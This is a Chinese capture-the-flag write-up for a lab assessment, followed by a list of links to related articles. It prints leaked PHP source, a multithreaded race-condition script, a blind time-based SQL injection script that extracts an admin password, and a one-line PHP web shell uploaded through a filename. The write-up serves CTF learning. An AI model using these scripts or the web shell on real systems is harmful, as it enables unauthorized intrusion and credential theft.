极光实验室 第一次考核wp
第一道题:

上来就让我买flag,用御剑扫目录,发现了这道题有源码index.php.bak!直接下载。
<meta charset='UTF-8'>
<title>极光实验室flag售卖中心</title>
<link rel="stylesheet" href="./css/bootstrap.css">
<link rel="stylesheet" href="./css/bootstrap.min.css">
<link rel="stylesheet" href="./css/index.css">
<body>
<div class='starter_form1'>
<h1>极光实验室flag售卖中心</h1>
<?php
ini_set('display_errors', 0);
error_reporting(E_ALL ^ E_DEPRECATED);
$db = new mysqli("127.0.0.1","root","****", shop); $sql = "SELECT rest FROM account"; $rest = intval($db->query($sql)->fetch_assoc()['rest']); $sql = "SELECT own FROM account"; $own = intval($db->query($sql)->fetch_assoc()['own']); echo "
<div class=\"starter_form\" style=\"align-content: center\">
<form action='' method='post'> <h3>您当前的余额:{$rest}元</h1>
<div style=\"margin: 50px\">
</div> 支付<input type='text' name='money'>元购买flag<br>
</br>
<div class='form-group'>
<button class=\"btn btn-primary btn-block\" type=\"submit\" name='submit'>购买</button>
</div>
<div style=\"margin: 100px\">
</div>
已支付{$own}元,可是flag最低要21元...
</br>
<form action='' method='post'>
<button class=\"btn btn-primary btn-block\" type=\"submit\" name='restart' value='1'>重置</button>
</div>
</form>
</div>
</div>
"; if ($_POST['money']){ $money = intval($_POST['money']);
if($money<0)
{
echo "<script>alert('我们极光虽然有钱...但兄弟姐妹你这样我们会破产的...')</script>";
exit();
}
if($money <= $rest) { $sql = "UPDATE account SET rest=rest-".$money; $db->query($sql); $sql = "UPDATE account SET own=own+".$money; $db->query($sql); echo "<script>alert('支付成功');window.location.href=this.location.href</script>"; } else { echo "<script>alert('支付失败,可能是因为您的余额不足。')</script>"; }
$sql="select own from account";
$banner = intval($db->query($sql)->fetch_assoc()['own']);
if($own>=21)
{
echo "等等..竟然!无中生友,你怕不是黑黑黑...\nACTF{************}";
}
}
else if ($_POST['restart']==1){
$sql = "UPDATE account SET rest=20";
$db->query($sql);
$sql = "UPDATE account SET own=0";
$db->query($sql);
}
?> </body> </html>
源码审计,本来以为这是一道sql注入题,但是因为intval()并不想is_number()一样存在sql注入的漏洞,只能含泪放弃。
重新审计源码发现,它并没有考虑到多个人同时操作的情况,于是就有了竞争的想法!
所谓竞争上传就是指 在服务器刚刚做出 $money <= $rest 的判断并且没有执行$sql = "UPDATE account SET rest=rest-".$money;操作时,再次判断$money <= $rest。
使得出现漏洞。
那么我们就需要写一个多线程的脚本。不断地访问。这里直接嫖了大佬的脚本
import requests
import threading
import queue url = "http://47.112.16.34:22255/index.php"
threads = 25
q = queue.Queue() for i in range(50):
q.put(i) def post():
while not q.empty():
q.get()
r = requests.post(url, data={'money': 1})
print(r.text) if __name__ == '__main__':
for i in range(threads):
t = threading.Thread(target=post)
t.start() for i in range(threads):
t.join()
成功拿到flag!

(话说这个flag也太长了吧)
下一道题:
第二道题因为拖得时间有点长导致刚写出脚本,题目就关闭了,现在在大佬的帮助下终于拿到了flag(话说拿到flag不能交真的很烦啊!!!!)
第二道题首先考我们robots协议。
然后扫到了image.php?然后才知道有image.php.bak。。(璞佬nb!)
然后看到源码!
<?php
include "config.php"; $id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:""; $id=addslashes($id);
$path=addslashes($path); $id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC); ...
还是源码审计,直接过滤了单引号,真的狠好吧!那怎么办?想起了之前的用 / 过滤单引号但是这一次很明显没有那么简单,因为有 addslashes()函数(具体作用不载详述)
突发奇想输入 \0 (看到了\\0)会发生什么,然后居然过滤的只剩下一个 \ 符号,原来如此,wakada!
那就可以构造payload了,直接放脚本。(注意因为单引号被过滤了,那么要用16进制编码来代替需要引号的地方!)
# insert into member(`username`,pw,sex,phonenum,email,address) values('wangwu',md5('a'),'a','aa','a','a')
import requests
import time
url = "http://47.106.94.13:40005/image.php?"
#params = "id=\\0&path= or if((ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))={}),sleep(5),1)--+"
params = "id=\\0&path= or if((ascii(mid((select password from users where username=0x61646d696e),{},1))={}),sleep(5),1)--+"
string = "1234567890abcdefghijklmnopqrstuvwxyz -ABCDEFGHIJKLMNOPQRSTUVWXYZ:_@,\{\}."
while True:
get = ""
for i in range(1,100):
for j in string:
parm = params.format(str(i),str(ord(j)))
url2 = url + parm
try:
response = requests.get(url2,timeout=3)
except:
get+=j
print(get)
time.sleep(1)
break
#print(url2)
中间有点没写上,不过没关系,大概就是这个payload,跑出结果

用 admin 和 password 作为账号和密码登录。

文件上传?经过cyt大佬的wp才知道,这一题居然是把文件名当做漏洞。。。哭了!
构造payload = <?= system($_GET[1551]);?>

然后,找啊找啊找啊找(话说藏得真深)找到了

极光实验室 第一次考核wp的更多相关文章
- Jquery第一次考核
1. 什么是JS JavaScript 缩写.一种计算机脚本语言 JavaScript是一种动态.弱类型.基于原型的语言,通过浏览器可以直接执行 2. JS三大组成部件 ECMAScript DOM ...
- wp上一款应用的出生与死亡
起因 因为自己买了个wp手机,所以对于微软的这个wp系统还是非常喜欢,无奈软件质量不高,过年前便买了个wp的开发者帐号,不是很贵,还想着为wp的生态系统做点贡献.无奈工作繁忙,一直没有机会去做.但是自 ...
- SAP成都研究院Sunshine: 我的C4C实习感受和保研之路
今天的文章来自SAP成都一位实习生,曾经和Jerry同在C4C成都开发团队一起工作过.在Sunshine最后一个工作日里,Jerry和Sunshine一起吃饭的时候,她曾经聊到接下来的保研打算和将来工 ...
- buu学习记录(上)
前言:菜鸡误入buu,差点被打吐.不过学到了好多东西. 题目名称: (1)随便注 (2)高明的黑客 (3)CheckIn (4)Hack World (5)SSRF Me (6)piapiapia ( ...
- 漫漫征途,java开发(未完待续)
前言 2018年,大二上,有幸加入服务外包实验室的考核,在考核中,主动加入xxx项目的后端,一是为了积累项目经验,二是为了学到更多东西,进入了之后发现原来要学的这么多,时间这么紧!但唯有学习! 心得体 ...
- 关于GC(下):CMS和G1GC的比较
简称 STW -- Stop the World,暂停所有在执行的线程 简史 2004年Sun实验室第一次发表G1论文 JDK6U14中第一次作为实验选项引入 JDK7中开始作为替换CMS的方案 JD ...
- Java作业:第一次过程性考核 ——长春职业技术学院 16级网络工程
Java作业:第一次过程性考核 ••<结构化程序设计>•• 考核目标:初步了解Java基本语法规则,学习结构化程序设计思想. 码云链接:https://gitee.com/SoridoD/ ...
- 极光推送SDK通过泰尔终端实验室检测,符合统一推送接口标准
1月7日,中国深圳--国内领先的开发者服务提供商极光(Aurora Mobile, NASDAQ:JG)宣布其旗下产品极光推送SDK通过中国信息通信研究院泰尔终端实验室的检测,其性能和接口标准符合统一 ...
- 停下来,回头看 ——记2020BUAA软工第一次作业-热身!
description: 'Mar 1st, 2020 - Mar 3rd, 2020' 项目 内容 这个作业属于哪个课程 2020春季计算机学院软件工程(罗杰 任建) 这个作业的要求在哪里 第一次作 ...
随机推荐
- Docker - 解决 gitlab 容器上的项目进行 clone 时,IP 地址显示一串数字而不是正常 IP 地址的问题
问题背景 通过 gitlab 容器创建了一个项目,想 clone 到本地,结果发现项目的 IP 地址是一串数字 问题排查 明明创建项目的时候,IP 地址还是正常的鸭! 再看看项目的 settings ...
- 内网渗透 day3 -metasploit的使用
metasploit的使用 目录 一.msf基本操作 1 二.msf模块(比较重要的四个) 2 三.木马生成 2 四.开启监听模块(最常用的模块) 3 一.msf基本操作 1. 使用msfconsol ...
- php随机填充字符串内容
public function getStr($str=false){ $poems="从,善,如,登,从,恶,如,崩,已,知,花,意,未,见,其,花,,,已,见,其,花,,,未,闻,花,名 ...
- Javascript 参数传递
又一个基本概念出问题,参数传递都是值传递, var a={x:10} function test(obj){obj=1} test(a) console.log(a) 输出什么,如果你说1,那就错了, ...
- Javascript全世界最短的IE判定
以前最短的IE判定借助于IE不支持垂直制表符的特性搞出来的. var ie=!+'\v' 但这纪录今年1月8日被一个俄国人打破了,现在只要6 bytes!它利用了IE与标准浏览器在处理数组的toS ...
- linux 图解笔记
- ceph-deploy 部署加密osd异常的问题
问题解析 问题 journal encryption with dmcrypt (Reno Rainz) 问题原文: I'm trying to setup a cluster with encryp ...
- Python_字符串_方法
#字典#把字符串中的字母提取出来改为大写并计数 a="aAsmr3idd4bgs7Dlsf9eAF" b1=[x for x in a if x.isalpha()] b=''.j ...
- elementui checkbox复选框实现层级联动
使用elementui 实现复选框的层级联动,可能我的表述不准确,先上一个效果图. 实际开发中可能遇到这样的场景,当选择高一层级的复选框时它包含的低级的复选框就不需要再勾选,需要默认选中并且禁止选用. ...
- BRT快速公交系统的可视化实践
前言 随着城市进程的加快,中国城市机动车的数量飞速增长,造成城市交通拥堵问题越来越严重,城市居民对于改善出行条件的需求尤其是公共交通的便捷性问题也越来越迫切.而BRT(快速公交系统)作为一种新型的客运 ...